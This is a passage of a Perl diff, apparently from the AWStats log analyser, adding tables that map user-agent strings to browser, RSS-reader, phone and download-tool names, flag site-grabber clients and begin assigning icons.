+'mot\-v551', +'mot\-v620', +'mot\-v690', +'mot\-v878', +'sie\-3618', +'sie\-a56', +'sie\-c6c', +'sie\-cx6c', +'sie\-cx6v', +'sie\-m6c', +'sie\-m6v', +'sie\-s46', +'sie\-sk65', +'sie\-sl56', +'sie\-st55', +'sagem\-mo130', +'sagem\-myc', +'sagem\-myv', +'sagem\-myx3', +'sagem\-myx5', +'sagem\-myx', +'lg\-G610', +'mot\-v550', +'mot\-a\-1f', +'mot\-c155', +'mot\-c975', +'mot\-c980', +'mot\-e380', +'mot\-e680', +'mot\-ed', +'mot\-t725e', +'mot\-v150', +'mot\-v171', +'mot\-v535', +'mot\-v545', +'mot\-v635', +'mot\-v870', +'nokia2112', +'nokia3620', +'nokia6020', +'nokia6200', +'nokia6620', +'nokia6680', +'nokia7270', +'nokia7280', +'nokia9500', +'panasonic\-a200', +'panasonic\-g70', +'panasonic\-x100', +'panasonic\-x300', +'panasonic\-x400', +'panasonic\-x500', +'panasonic\-x66', +'panasonic\-x77', +'t66', +'n21i', +'n22i', +'ts21i', +'wap', # Generic WAP phone (must be after 'wap*') +'webcollage', +'up\.', # Works for UP.Browser and UP.Link +# PDA/Phonecell browsers +'android', +'blackberry', +'cnf2', +'docomo', +'ipcheck', +'iphone', +'portalmmm', +# Others (TV) +'webtv', +'democracy', +# Anonymous Proxy Browsers (can be used as grabbers as well...) +'cjb\.net', +'ossproxy', +'smallproxy', +# Other kind of browsers +'adobeair', +'apt', +'analogx_proxy', +'gnome\-vfs', +'neon', +'curl', +'csscheck', +'httrack', +'fdm', +'javaws', +'wget', +'fget', +'chilkat', +'webdownloader\sfor\sx', +'w3m', +'wdg_validator', +'w3c_validator', +'jigsaw', +'webreaper', +'webzip', +'staroffice', +'gnus', +'nikto', +'download\smaster', +'microsoft\-webdav\-miniredir', +'microsoft\sdata\saccess\sinternet\spublishing\sprovider\scache\smanager', +'microsoft\sdata\saccess\sinternet\spublishing\sprovider\sdav', +'POE\-Component\-Client\-HTTP', +'mozilla', # Must be at end because a lot of browsers contains mozilla in string +'libwww', # Must be at end because some browser have both 'browser id' and 'libwww' +'lwp' +); + +# BrowsersHashIDLib +# List of browser's name ('browser id in lower case', 'browser text') +#--------------------------------------------------------------- +%BrowsersHashIDLib = ( +# Common web browsers text, included the ones hard coded in awstats.pl +# firefox, opera, chrome, safari, konqueror, svn, msie, netscape +'firefox','Firefox', +'opera','Opera', +'chrome','Google Chrome', +'safari','Safari', +'konqueror','Konqueror', +'svn', 'Subversion client', +'msie','MS Internet Explorer', +'netscape','Netscape', + +'elinks','ELinks', +'firebird','Firebird (Old Firefox)', +'go!zilla','Go!Zilla', +'icab','iCab', +'links','Links', +'lynx','Lynx', +'omniweb','OmniWeb', +# Other standard web browsers +'22acidownload','22AciDownload', +'abrowse','ABrowse', +'amaya','Amaya', +'amigavoyager','AmigaVoyager', +'aol\-iweng','AOL-Iweng', +'arora','Arora', +'aweb','AWeb', +'charon', 'Charon', +'donzilla','Donzilla', +'seamonkey','SeaMonkey', +'flock','Flock', +'minefield','Minefield (Firefox 3.0 development)', +'bonecho','BonEcho (Firefox 2.0 development)', +'granparadiso','GranParadiso (Firefox 3.0 development)', +'songbird','Songbird', +'strata','Strata', +'sylera','Sylera', +'kazehakase','Kazehakase', +'prism','Prism', +'icecat','GNU IceCat', +'iceape','GNU IceApe', +'iceweasel','Iceweasel', +'w3clinemode','W3CLineMode', +'bpftp','BPFTP', +'camino','Camino', +'chimera','Chimera (Old Camino)', +'cyberdog','Cyberdog', +'dillo','Dillo', +'xchaos_arachne','Arachne', +'doris','Doris (for Symbian)', +'dreamcast','Dreamcast', +'xbox', 'XBoX', +'downloadagent','DownloadAgent', +'ecatch', 'eCatch', +'emailsiphon','EmailSiphon', +'encompass','Encompass', +'epiphany','Epiphany', +'friendlyspider','FriendlySpider', +'fresco','ANT Fresco', +'galeon','Galeon', +'flashget','FlashGet', +'freshdownload','FreshDownload', +'getright','GetRight', +'leechget','LeechGet', +'netants','NetAnts', +'headdump','HeadDump', +'hotjava','Sun HotJava', +'ibrowse','iBrowse', +'intergo','InterGO', +'k\-meleon','K-Meleon', +'k\-ninja','K-Ninja', +'linemodebrowser','W3C Line Mode Browser', +'lotus\-notes','Lotus Notes web client', +'macweb','MacWeb', +'multizilla','MultiZilla', +'ncsa_mosaic','NCSA Mosaic', +'netcaptor','NetCaptor', +'netpositive','NetPositive', +'nutscrape', 'Nutscrape', +'msfrontpageexpress','MS FrontPage Express', +'phoenix','Phoenix', +'contiki','Contiki', +'emacs\-w3','Emacs/w3s', +'shiira','Shiira', +'tzgeturl','TzGetURL', +'viking','Viking', +'webfetcher','WebFetcher', +'webexplorer','IBM-WebExplorer', +'webmirror','WebMirror', +'webvcr','WebVCR', +'qnx\svoyager','QNX Voyager', +# Site grabbers +'teleport','TelePort Pro', +'webcapture','Acrobat Webcapture', +'webcopier', 'WebCopier', +# Media only browsers +'real','Real player or compatible (media player)', +'winamp','WinAmp (media player)', # Works for winampmpeg and winamp3httprdr +'windows\-media\-player','Windows Media Player (media player)', +'audion','Audion (media player)', +'freeamp','FreeAmp (media player)', +'itunes','Apple iTunes (media player)', +'jetaudio','JetAudio (media player)', +'mint_audio','Mint Audio (media player)', +'mpg123','mpg123 (media player)', +'mplayer','The Movie Player (media player)', +'nsplayer','NetShow Player (media player)', +'qts','QuickTime (media player)', +'quicktime','QuickTime (media player)', +'sonique','Sonique (media player)', +'uplayer','Ultra Player (media player)', +'xaudio','Some XAudio Engine based MPEG player (media player)', +'xine','Xine, a free multimedia player (media player)', +'xmms','XMMS (media player)', +'gstreamer','GStreamer (media library)', +# RSS Readers +'abilon','Abilon (RSS Reader)', +'aggrevator', 'Aggrevator (RSS Reader)', +'aiderss', 'AideRSS (RSS Reader)', +'akregator','<a href="http://akregator.sourceforge.net/" title="Browser home page [new window]" target="_blank">Akregator (RSS Reader)</a>', +'applesyndication','<a href="http://www.apple.com/macosx/features/safari/" title="Browser home page [new window]" target="_blank">AppleSyndication (RSS Reader)</a>', +'betanews_reader','Betanews Reader (RSS Reader)', +'blogbridge','<a href="http://www.blogbridge.com/" title="Browser home page [new window]" target="_blank">BlogBridge (RSS Reader)</a>', +'cyndicate','Cyndicate (RSS Reader)', +'feeddemon', 'FeedDemon (RSS Reader)', +'feedreader', 'FeedReader (RSS Reader)', +'feedtools','<a href="http://sporkmonger.com/projects/feedtools/" title="Browser home page [new window]" target="_blank">FeedTools (RSS Reader)</a>', +'greatnews','<a href="http://www.curiostudio.com/" title="Browser home page [new window]" target="_blank">GreatNews (RSS Reader)</a>', +'gregarius','<a href="http://devlog.gregarius.net/docs/ua" title="Browser home page [new window]" target="_blank">Gregarius (RSS Reader)</a>', +'hatena_rss','<a href="http://r.hatena.ne.jp/" title="Browser home page [new window]" target="_blank">Hatena (RSS Reader)</a>', +'jetbrains_omea', 'Omea (RSS Reader)', +'liferea','<a href="http://liferea.sourceforge.net/" title="Browser home page [new window]" target="_blank">Liferea (RSS Reader)</a>', +'netnewswire', 'NetNewsWire (RSS Reader)', +'newsfire', 'NewsFire (RSS Reader)', +'newsgator', 'NewsGator (RSS Reader)', +'newzcrawler', 'NewzCrawler (RSS Reader)', +'plagger', 'Plagger (RSS Reader)', +'pluck', 'Pluck (RSS Reader)', +'potu','<a href="http://www.potu.com/" title="Potu Rss-Reader home page [new window]" target="_blank">Potu (RSS Reader)</a>', +'pubsub\-rss\-reader','<a href="http://www.pubsub.com/" title="Browser home page [new window]" target="_blank">PubSub (RSS Reader)</a>', +'pulpfiction', 'PulpFiction (RSS Reader)', +'rssbandit', 'RSS Bandit (RSS Reader)', +'rssreader', 'RssReader (RSS Reader)', +'rssowl', 'RSSOwl (RSS Reader)', +'rss\sxpress','RSS Xpress (RSS Reader)', +'rssxpress','RSSXpress (RSS Reader)', +'sage', 'Sage (RSS Reader)', +'sharpreader', 'SharpReader (RSS Reader)', +'shrook', 'Shrook (RSS Reader)', +'straw', 'Straw (RSS Reader)', +'syndirella', 'Syndirella (RSS Reader)', +'vienna', '<a href="http://www.vienna-rss.org/" title="Vienna RSS-Reader [new window]" target="_blank">Vienna (RSS Reader)</a>', +'wizz\srss\snews\sreader','Wizz RSS News Reader (RSS Reader)', +# PDA/Phonecell browsers +'alcatel\-be4','Alcatel BE4 (phone)', +'alcatel\-be5','Alcatel BE5 (phone)', +'alcatel\-bf3','Alcatel OT311 (phone)', +'alcatel\-bf4','Alcatel OT511 (phone)', +'alcatel\-bf5','Alcatel BF5 (phone)', +'alcatel\-bg3','Alcatel BG3 (phone)', +'alcatel\-bh4','Alcatel BH4 (phone)', +'auditautomatic','Audit ByTel (phone)', +'ericssonr520','SonyEricsson R520-R2 (phone)', +'ericssont20','SonyEricsson T20e (phone)', +'ericssont29','SonyEricsson 29s (phone)', +'ericssont39','SonyEricsson T39m (phone)', +'ericssont65','SonyEricsson T65 (phone)', +'ericssont66','SonyEricsson T66 (phone)', +'ericssont68','SonyEricsson T68 (phone)', +'lg\-g7000','LG G7000 (phone)', +'mitsu','Trium Eclipse (phone)', +'mot\-c350m','Motorola C350M (phone)', +'mot\-c4','Motorola Talkabout T2288 (phone)', +'mot\-cb','Motorola Timeport P7389 (phone)', +'mot\-d4','Motorola Timeport P7389e (phone)', +'mot\-d5','motorola-t191 (phone)', +'mot\-d8','Motorola T250 (phone)', +'mot\-e1','Motorola ? (E1) (phone)', +'mot\-f0','Motorola v50 (phone)', +'mot\-f6','Motorola Accompli 008 (phone)', +'mot\-pan4','Motorola T280 (phone)', +'mot\-phx4','Motorola ? (PHX4) (phone)', +'mot\-sap4','Motorola V66 (phone)', +'mot\-t720','Motorola T720 (phone)', +'mot\-ta02','Motorola ? (TA02) (phone)', +'mot\-v66m','Motorola V66M (phone)', +'mot\-v708','Motorola V708 (phone)', +'mot\-8300','Motorola 8300 (phone)', +'mot\-a\-86','Motorola A86 (phone)', +'mot\-af','Motorola AF (phone)', +'mot\-c2','Motorola C2 (phone)', +'mot\-c350','Motorola C350 (phone)', +'mot\-c550','Motorola C550 (phone)', +'mot\-c650','Motorola C650 (phone)', +'mot\-cf','Motorola CF (phone)', +'mot\-f5','Motorola F5 (phone)', +'mot\-fe','Motorola FE (phone)', +'mot\-t280','Motorola T280 (phone)', +'mot\-v300','Motorola V300 (phone)', +'mot\-v400','Motorola V400 (phone)', +'mot\-v500','Motorola V500 (phone)', +'mot\-v525','Motorola V525 (phone)', +'mot\-v600','Motorola V600 (phone)', +'mot\-v60m','Motorola V60M (phone)', +'mot\-v80','Motorola V80 (phone)', +'mot\-v810','Motorola V810 (phone)', +'nokia3200','Nokia 3200 (phone)', +'nokia3560','Nokia 3560 (phone)', +'nokia3595','Nokia 3595 (phone)', +'nokia6220','Nokia 6200 (phone)', +'nokia8265','Nokia 8265 (phone)', +'nokia3100','Nokia 3100 (phone)', +'nokia3300','Nokia 3300 (phone)', +'nokia3530','Nokia 3530 (phone)', +'nokia3590','Nokia 3590 (phone)', +'nokia6108','Nokia 6108 (phone)', +'nokia6211','Nokia 6211 (phone)', +'nokia6600','Nokia 6600 (phone)', +'nokia6650','Nokia 6650 (phone)', +'nokia9210','Nokia 9210 (phone)', +'nokian\-gage','Nokia N-Gage (phone)', +'nokia3210','Nokia 3210 (phone)', +'nokia3310','Nokia 3310 (phone)', +'nokia3330','Nokia 3330 (phone)', +'nokia3350','Nokia 3350 (phone)', +'nokia3410','Nokia 3410 (phone)', +'nokia3510','Nokia 3510 (phone)', +'nokia3650','Nokia 3650 (phone)', +'nokia5100','Nokia 5100 (phone)', +'nokia5110','Nokia 5110 (phone)', +'nokia5130','Nokia 5130 (phone)', +'nokia5210','Nokia 5210 (phone)', +'nokia5510','Nokia 5510 (phone)', +'nokia6100','Nokia 6100 (phone)', +'nokia6110','Nokia 6110 (phone)', +'nokia6130','Nokia 6130 (phone)', +'nokia6150','Nokia 6150 (phone)', +'nokia6210','Nokia 6210 (phone)', +'nokia6250','Nokia 6250 (phone)', +'nokia6310\/','Nokia 6310 (phone)', +'nokia6310i','Nokia 6310i (phone)', +'nokia6500','Nokia 6500 (phone)', +'nokia6510','Nokia 6510 (phone)', +'nokia6610','Nokia 6610 (phone)', +'nokia6800','Nokia 6800 (phone)', +'nokia7110','Nokia 7110 (phone)', +'nokia7210','Nokia 7210 (phone)', +'nokia7250','Nokia 7250 (phone)', +'nokia7650','Nokia 7650 (phone)', +'nokia8110i','Nokia 8110i (phone)', +'nokia8210','Nokia 8210 (phone)', +'nokia8310','Nokia 8310 (phone)', +'nokia8810','Nokia 8810 (phone)', +'nokia8850','Nokia 8850 (phone)', +'nokia8855','Nokia 8855 (phone)', +'nokia8890','Nokia 8890 (phone)', +'nokia8910','Nokia 8910 (phone)', +'nokia9000','Nokia 9000i (phone)', +'nokia9110','Nokia 9110 (phone)', +'nokia9210i','Nokia 9210i (phone)', +'nokia3660','Nokia 3660 (phone)', +'nokia6230','Nokia 6230 (phone)', +'nokia6340i','Nokia 6340i (phone)', +'nokia6810','Nokia 6810 (phone)', +'nokia6820','Nokia 6820 (phone)', +'nokia7200','Nokia 7200 (phone)', +'nokia7600','Nokia 7600 (phone)', +'nokia7610','Nokia 7610 (phone)', +'nokia5310','Nokia 5310 (phone)', +'nokia6300','Nokia 6300 (phone)', +'nokia6131','Nokia 6131 (phone)', +'nokia5200','Nokia 5200 (phone)', +'nokia7370','Nokia 7370 (phone)', +'nokia5610','Nokia 5610 (phone)', +'nokian70','Nokia N70 (phone)', +'opwv\-sdk','openwave sdk (phone)', +'panasonic\-gad35','Panasonic GD35 (phone)', +'panasonic\-gad67','panasonic GD67 (phone)', +'panasonic\-gad68','panasonic-gd68 (phone)', +'panasonic\-gad6\*','Panasonic GD6xx (phone)', +'panasonic\-gad75','panasonic-gd75 (phone)', +'panasonic\-gad76','panasonic-gd76 (phone)', +'panasonic\-gad87','panasonic-gd87 (phone)', +'panasonic\-gad88','panasonic-gd88 (phone)', +'panasonic\-gad95','panasonic-gd95 (phone)', +'panasonic\-gad96','panasonic-gd96 (phone)', +'panasonic\-g50','Panasonic G50 (phone)', +'panasonic\-g60','Panasonic G60 (phone)', +'panasonic\-x60','Panasonic X60 (phone)', +'panasonic\-x70','Panasonic X70 (phone)', +'philips\-az\@lis238','Philips Azalis-238 (phone)', +'philips\-az\@lis268','Philips Azalis-268 (phone)', +'philips\-az\@lis288','Philips Azalis-288 (phone)', +'philips\-fisio120','Philips Fisio 120 (phone)', +'philips\-fisio121','Philips Fisio 121 (phone)', +'philips\-fisio311','Philips Fisio 311 (phone)', +'philips\-fisio312','Philips Fisio 312 (phone)', +'philips\-fisio316','Philips Fisio 316 (phone)', +'philips\-fisio610','Philips Fisio 610 (phone)', +'philips\-fisio620','Philips Fisio 620 (phone)', +'philips\-fisio_625','Philips Fisio 625 (phone)', +'philips\-fisio_820','Philips Fisio 820 (phone)', +'philips\-fisio_822','Philips Fisio 822 (phone)', +'philips\-fisio_825','Philips Fisio 825 (phone)', +'philips\-v21wap','Philips V21 (phone)', +'philips\-xenium9\@9','Philips Xenium 9A9 (phone)', +'r380','Ericsson R380 (phone)', +'r600','Ericsson R600 (phone)', +'sagem\-3xxx','Sagem 3XXX (phone)', +'sagem\-9xx','Sagem 9XX (phone)', +'sagem\-myx\-2','Sagem MyX-2 (phone)', +'sagem\-myx\-3','Sagem MyX-3d (phone)', +'sagem\-myx\-5\/','Sagem MyX-5 (phone)', +'sagem\-myx\-5d','Sagem MyX-5d (phone)', +'sagem\-myx\-5m','Sagem MyX-5m (phone)', +'sagem\-myx\-6','Sagem MyX-6 (phone)', +'samsung\-sgh\-e700','Samsung E700 (phone)', +'samsung\-sgh\-s500','Samsung S500 (phone)', +'samsung\-sgh\-t500','Samsung T500 (phone)', +'samsung\-sgh\-a300','Samsung A300 (phone)', +'samsung\-sgh\-a400','Samsung A400 (phone)', +'samsung\-sgh\-a800','Samsung A800 (phone)', +'samsung\-sgh\-n100','Samsung N100 (phone)', +'samsung\-sgh\-n400','Samsung N400 (phone)', +'samsung\-sgh\-n500','Samsung N500 (phone)', +'samsung\-sgh\-n600','Samsung N600 (phone)', +'samsung\-sgh\-n620','Samsung N620 (phone)', +'samsung\-sgh\-r200','Samsung R200 (phone)', +'samsung\-sgh\-r200s','Samsung R200s (phone)', +'samsung\-sgh\-r210','Samsung R210 (phone)', +'samsung\-sgh\-s100','Samsung S100 (phone)', +'samsung\-sgh\-t100','Samsung T100 (phone)', +'samsung\-sgh\-t400','Samsung T400 (phone)', +'samsung\-sgh\-v200','Samsung V200 (phone)', +'samsung\-sgh\-e100','Samsung E100 (phone)', +'samsung\-sgh\-e708','Samsung E700 (phone)', +'samsung\-sgh\-e800','Samsung E800 (phone)', +'samsung\-sgh\-x100','Samsung X100 (phone)', +'samsung\-sgh\-x600','Samsung X600 (phone)', +'sec\-sghc100','Samsung SGHC100 (phone)', +'sec\-sghp100','Samsung SGHP100 (phone)', +'sec\-sghp400','Samsung SGHP400 (phone)', +'sec\-sghq200','Samsung SGHQ200 (phone)', +'sec\-sghs200','Samsung SGHS200 (phone)', +'sec\-spha460','Samsung SPHA460 (phone)', +'sec\-sghs100','Samsung SGHS100 (phone)', +'sec\-sghs300','Samsung SGHS300 (phone)', +'sec\-sghv200','Samsung SGHS200 (phone)', +'sec\-sghv205','Samsung SGHS205 (phone)', +'sec\-sghd410','Samsung SGHD410 (phone)', +'sec\-sghe105','Samsung SGHE105 (phone)', +'sec\-sghe410','Samsung SGHE410 (phone)', +'sec\-sghe400','Samsung SGHE400 (phone)', +'sec\-sghe600','Samsung SGHE600 (phone)', +'sec\-sghe710','Samsung SGHE710 (phone)', +'sec\-sghe715','Samsung SGHE715 (phone)', +'sec\-sghs105','Samsung SGHS105 (phone)', +'sec\-sghx105','Samsung SGHX108 (phone)', +'sec\-sghx426','Samsung SGHX426 (phone)', +'sec\-sghx427','Samsung SGHX427 (phone)', +'sec\-sghx430','Samsung SGHS430 (phone)', +'sec\-sghx450','Samsung SGHS450 (phone)', +'sharp\-tq\-gx10','Sharp TQ-GX10 (phone)', +'sharp\-tq\-gx12','Sharp TQ-GX12 (phone)', +'sie\-2128','Siemens 2128 (phone)', +'sie\-6618','Siemens 66180 (phone)', +'sie\-a55','Siemens A55 (phone)', +'sie\-c60','Siemens C60 (phone)', +'sie\-c62','Siemens C62 (phone)', +'sie\-m55','Siemens M55 (phone)', +'sie\-mc60','Siemens MC60 (phone)', +'sie\-sl55','Siemens SL55 (phone)', +'sie\-slin','Siemens SLIN (phone)', +'sie\-a50','Siemens A50 (phone)', +'sie\-c3i','Siemens C35i (phone)', +'sie\-c45','Siemens C45 (phone)', +'sie\-c55','Siemens C55 (phone)', +'sie\-m50','Siemens M50 (phone)', +'sie\-me45','Siemens ME45 (phone)', +'sie\-mt50','Siemens MT50 (phone)', +'sie\-s35','Siemens S35 (phone)', +'sie\-s40','Siemens S40 (phone)', +'sie\-s45','Siemens S45 (phone)', +'sie\-s55','Siemens S55 (phone)', +'sie\-sl45','Siemens S145 (phone)', +'sie\-slik','Siemens ? (SLIK) (phone)', +'sie\-a57','Siemens A57 (phone)', +'sie\-a60','Siemens A60 (phone)', +'sie\-c56','Siemens C56 (phone)', +'sie\-c61','Siemens C61 (phone)', +'sie\-cf62','Siemens CF62 (phone)', +'sie\-m65','Siemens M65 (phone)', +'sie\-s56','Siemens S56 (phone)', +'sie\-s57c','Siemens S57C (phone)', +'sie\-s65','Siemens S65 (phone)', +'sie\-sl5e','Siemens SL5E (phone)', +'sie\-st60','Siemens ST60 (phone)', +'sie\-sx1','Siemens SX1 (phone)', +'sonyericssonp900','SonyEricsson P900 (phone)', +'sonyericssont230','SonyEricsson T230 (phone)', +'sonyericssont306','SonyEricsson T306 (phone)', +'sonyericssont316','SonyEricsson T316 (phone)', +'sonyericssont616','SonyEricsson T616 (phone)', +'sonyericssonz600','SonyEricsson Z600 (phone)', +'sonyericssonp800','SonyEricsson P800 (phone)', +'sonyericssont100','SonyEricsson T100 (phone)', +'sonyericssont200','SonyEricsson T200 (phone)', +'sonyericssont300','SonyEricsson T300 (phone)', +'sonyericssont310','SonyEricsson T310 (phone)', +'sonyericssont600','SonyEricsson T600 (phone)', +'sonyericssont610','SonyEricsson T610 (phone)', +'sonyericssont68\/','SonyEricsson T68 (phone)', +'sonyericssont68i','SonyEricsson T68i (phone)', +'sonyericssont620','SonyEricsson T620 (phone)', +'sonyericssont630','SonyEricsson T630 (phone)', +'lg\-c1100','LG C1100 (phone)', +'lg\-c1200','LG C1200 (phone)', +'lg\-c2200','LG C2200 (phone)', +'lg\-g1500','LG G1500 (phone)', +'lg\-g3100','LG G3100 (phone)', +'lg\-g4015','LG G4015 (phone)', +'lg\-g5300','LG G5300 (phone)', +'lg\-g5400','LG G5400 (phone)', +'lg\-g7050','LG G7050 (phone)', +'lg\-g7100','LG G7100 (phone)', +'lg\-l1100','LG L1100 (phone)', +'lg\-l1200','LG L1200 (phone)', +'mot\-85','Motorola 85 (phone)', +'mot\-a\-0a','Motorola A0A (phone)', +'mot\-a\-2b','Motorola A2b (phone)', +'mot\-c357','Motorola C357 (phone)', +'mot\-c380','Motorola C380 (phone)', +'mot\-e398','Motorola E398 (phone)', +'mot\-v180','Motorola V180 (phone)', +'mot\-v220','Motorola V220 (phone)', +'mot\-v3','Motorola V3 (phone)', +'mot\-v980','Motorola V980 (phone)', +'nokia2650','Nokia 2650 (phone)', +'nokia3108','Nokia 3108 (phone)', +'nokia3120','Nokia 3120 (phone)', +'nokia3220','Nokia 3220 (phone)', +'nokia5140','Nokia 5140 (phone)', +'nokia6010','Nokia 6010 (phone)', +'nokia6170','Nokia 6170 (phone)', +'nokia6260','Nokia 6260 (phone)', +'nokia6630','Nokia 6630 (phone)', +'nokia6670','Nokia 6670 (phone)', +'nokia7260','Nokia 7260 (phone)', +'sie\-a65','Siemens A65 (phone)', +'sie\-c65','Siemens C65 (phone)', +'sie\-c6v','Siemens C6V (phone)', +'sie\-cx65','Siemens CX65 (phone)', +'sie\-cx70','Siemens CX70 (phone)', +'sie\-sl65','Siemens SL65 (phone)', +'sonyericssonk500i','SonyEricsson K500i (phone)', +'sonyericssonk700c','SonyEricsson K700c (phone)', +'sonyericssonk700i','SonyEricsson K700i (phone)', +'sonyericssonp910i','SonyEricsson P910i (phone)', +'sonyericssons700i','SonyEricsson S700i (phone)', +'sonyericssont226','SonyEricsson T226 (phone)', +'sonyericssont628','SonyEricsson T628 (phone)', +'sonyericssonz1010','SonyEricsson Z1010 (phone)', +'sonyericssonz200','SonyEricsson Z200 (phone)', +'alcatel\-be3','Alcatel BE3 (phone)', +'alcatel\-oh5','Alcatel OH5 (phone)', +'alcatel\-th3','Alcatel TH3 (phone)', +'alcatel\-th4','Alcatel TH4 (phone)', +'ericssona2628s','Ericsson A2628s (phone)', +'ericssonr320','Ericsson R320 (phone)', +'lg\-c1300','LG C1300 (phone)', +'lg\-c3100','LG C3100 (phone)', +'lg\-f2100','LG F2100 (phone)', +'lg\-g1600','LG G1600 (phone)', +'lg\-g210','LG G210 (phone)', +'lg\-g4010','LG G4010 (phone)', +'lg\-g510','LG G510 (phone)', +'lg\-g5310','LG G5300 (phone)', +'lg\-g5600','LG G5600 (phone)', +'lg\-g650','LG G650 (phone)', +'lg\-g7070','LG G7070 (phone)', +'lg\-l3100','LG L3100 (phone)', +'lg\-t5100','LG T5100 (phone)', +'mot\-2200','Motorola 2200 (phone)', +'mot\-32','Motorola 32 (phone)', +'mot\-74','Motorola 74 (phone)', +'mot\-76','Motorola 76 (phone)', +'mot\-87','Motorola 87 (phone)', +'mot\-8700','Motorola 8700 (phone)', +'mot\-a\-0e','Motorola a0e (phone)', +'mot\-a\-1c','Motorola a1c (phone)', +'mot\-a760','Motorola A760 (phone)', +'mot\-a835','Motorola A835 (phone)', +'mot\-c385','Motorola C385 (phone)', +'mot\-v26x','Motorola V26x (phone)', +'mot\-v290','Motorola V290 (phone)', +'mot\-v505','Motorola V505 (phone)', +'mot\-v547','Motorola V547 (phone)', +'mot\-v551','Motorola V551 (phone)', +'mot\-v620','Motorola V620 (phone)', +'mot\-v690','Motorola V690 (phone)', +'mot\-v878','Motorola V878 (phone)', +'sie\-3618','Siemens 3618 (phone)', +'sie\-a56','Siemens A56 (phone)', +'sie\-c6c','Siemens C6C (phone)', +'sie\-cx6c','Siemens CX6c (phone)', +'sie\-cx6v','Siemens CX6v (phone)', +'sie\-m6c','Siemens M6C (phone)', +'sie\-m6v','Siemens M6V (phone)', +'sie\-s46','Siemens S46 (phone)', +'sie\-sk65','Siemens SK65 (phone)', +'sie\-sl56','Siemens SL56 (phone)', +'sie\-st55','Siemens ST55 (phone)', +'sagem\-mo130','Sagem MO130 (phone)', +'sagem\-myc','Sagem myC (phone)', +'sagem\-myv','Sagem myV (phone)', +'sagem\-myx3','Sagem myX3 (phone)', +'sagem\-myx5','Sagem myX5 (phone)', +'sagem\-myx','Sagem myX (phone)', +'lg\-G610','LG G610 (phone)', +'mot\-v550','Motorola V550 (phone)', +'mot\-a\-1f','Motorola A-1F (phone)', +'mot\-c155','Motorola C155 (phone)', +'mot\-c975','Motorola C975 (phone)', +'mot\-c980','Motorola C980 (phone)', +'mot\-e380','Motorola E380 (phone)', +'mot\-e680','Motorola E680 (phone)', +'mot\-ed','Motorola ED (phone)', +'mot\-t725e','Motorola T725E (phone)', +'mot\-v150','Motorola V150 (phone)', +'mot\-v171','Motorola V171 (phone)', +'mot\-v535','Motorola V535 (phone)', +'mot\-v545','Motorola V545 (phone)', +'mot\-v635','Motorola V635 (phone)', +'mot\-v870','Motorola V870 (phone)', +'nokia2112','Nokia 2112 (phone)', +'nokia3620','Nokia 3620 (phone)', +'nokia6020','Nokia 6020 (phone)', +'nokia6200','Nokia 6200 (phone)', +'nokia6620','Nokia 6620 (phone)', +'nokia6680','Nokia 6680 (phone)', +'nokia7270','Nokia 7270 (phone)', +'nokia7280','Nokia 7280 (phone)', +'nokia9500','Nokia 9500 (phone)', +'panasonic\-a200','Panasonic A200 (phone)', +'panasonic\-g70','Panasonic G70 (phone)', +'panasonic\-x100','Panasonic X100 (phone)', +'panasonic\-x300','Panasonic X300 (phone)', +'panasonic\-x400','Panasonic X400 (phone)', +'panasonic\-x500','Panasonic X500 (phone)', +'panasonic\-x66','Panasonic X66 (phone)', +'panasonic\-x77','Panasonic X77 (phone)', +'t66','Ericsson T66 (phone)', +'n21i','I-Mode Nec 21i (phone)', +'n22i','I-Mode Nec 22i (phone)', +'ts21i','I-Mode Toshiba 21i (phone)', +'wap','Unknown WAP browser (PDA/Phone browser)', # Generic WAP phone (must be after 'wap*') +'webcollage','WebCollage (PDA/Phone browser)', +'up\.','UP.Browser (PDA/Phone browser)', # Works for UP.Browser and UP.Link +# PDA/Phonecell browsers +'android','Android browser (PDA/Phone browser)', +'blackberry','BlackBerry (PDA/Phone browser)', +'cnf2','Supervision I-Mode ByTel (phone)', +'docomo','I-Mode phone (PDA/Phone browser)', +'ipcheck','Supervision IP Check (phone)', +'iphone','IPhone (PDA/Phone browser)', +'portalmmm','I-Mode phone (PDA/Phone browser)', +# Others (TV) +'webtv','WebTV browser', +'democracy','Democracy', +# Anonymous Proxy Browsers (can be used as grabbers as well...) +'cjb\.net','<a href="http://proxy.cjb.net/" title="Browser home page [new window]" target="_blank">CJB.NET Proxy</a>', +'ossproxy','<a href="http://www.marketscore.com/FAQ.Aspx" title="OSSProxy home page [new window]" target="_blank">OSSProxy</a>', +'smallproxy','<a href="http://www.smallproxy.ru/" title="SmallProxy home page [new window]" target="_blank">SmallProxy</a>', +# Other kind of browsers +'adobeair','AdobeAir', +'apt','Debian APT', +'analogx_proxy','AnalogX Proxy', +'gnome\-vfs', 'Gnome FileSystem Abstraction library', +'neon', 'Neon HTTP and WebDAV client library', +'curl','Curl', +'csscheck','WDG CSS Validator', +'httrack','HTTrack', +'fdm','<a href="http://www.freedownloadmanager.org/" title="Browser home page [new window]" target="_blank">FDM Free Download Manager</a>', +'javaws','Java Web Start', +'wget','Wget', +'fget','FGet', +'chilkat', 'Chilkat', +'webdownloader\sfor\sx','Downloader for X', +'w3m','w3m', +'wdg_validator','WDG HTML Validator', +'w3c_validator','W3C Validator', +'jigsaw','W3C Validator', +'webreaper','WebReaper', +'webzip','WebZIP', +'staroffice','StarOffice', +'gnus', 'Gnus Network User Services', +'nikto', 'Nikto Web Scanner', +'download\smaster','Download Master', +'microsoft\-webdav\-miniredir', 'Microsoft Data Access Component Internet Publishing Provider', +'microsoft\sdata\saccess\sinternet\spublishing\sprovider\scache\smanager', 'Microsoft Data Access Component Internet Publishing Provider Cache Manager', +'microsoft\sdata\saccess\sinternet\spublishing\sprovider\sdav', 'Microsoft Data Access Component Internet Publishing Provider DAV', +'POE\-Component\-Client\-HTTP','HTTP user-agent for POE (portable networking framework for Perl)', +'mozilla','Mozilla', +'libwww','LibWWW', +'lwp','LibWWW-perl' +); + + +# BrowsersHashAreGrabber +# Put here an entry for each browser in BrowsersSearchIDOrder that are grabber +# browsers. +#--------------------------------------------------------------------------- +%BrowsersHereAreGrabbers = ( +'teleport','1', +'webcapture','1', +'webcopier','1', +'curl','1', +'fdm','1', +'httrack','1', +'webreaper','1', +'wget','1', +'fget','1', +'download\smaster','1', +'webdownloader\sfor\sx','1', +'webzip','1' +); + + +# BrowsersHashIcon +# Each Browsers Search ID is associated to a string that is the name of icon +# file for this browser. +#--------------------------------------------------------------------------- +%BrowsersHashIcon = ( +# Common web browsers text, included the ones hard coded in awstats.pl +# firefox, opera, chrome, safari, konqueror, svn, msie, netscape +'firefox','firefox', +'opera','opera', +'chrome','chrome', +'safari','safari', +'konqueror','konqueror', 